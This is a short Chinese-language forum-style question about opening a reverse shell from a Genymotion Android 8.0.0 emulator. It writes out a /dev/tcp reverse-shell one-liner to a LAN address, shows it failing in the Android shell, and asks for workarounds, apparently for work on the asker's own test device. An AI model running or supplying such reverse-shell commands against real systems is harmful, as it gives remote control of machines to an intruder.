我正在尝试从 Genymotion Android (8.0.0) 设备获取反向外壳。
我本地机器的IP:192.168.178.101
下面的命令,当从我的主机执行时,给了我一个 shell。
rewanth@ubuntu:~$ adb shell "sh -i >& /dev/tcp/192.168.178.101/4444 0>&1"
但是,当我直接从 android shell 执行此操作时,会出现以下错误。为什么?
rewanth@ubuntu:~$ adb shell
vbox86p:/# sh -i >& /dev/tcp/192.168.178.101/4444 0>&1
/system/bin/sh: >&/dev/tcp/192.168.178.101/4444 : illegal file descriptor name
从 android shell 内部获取反向 shell 的任何解决方法/不同方法?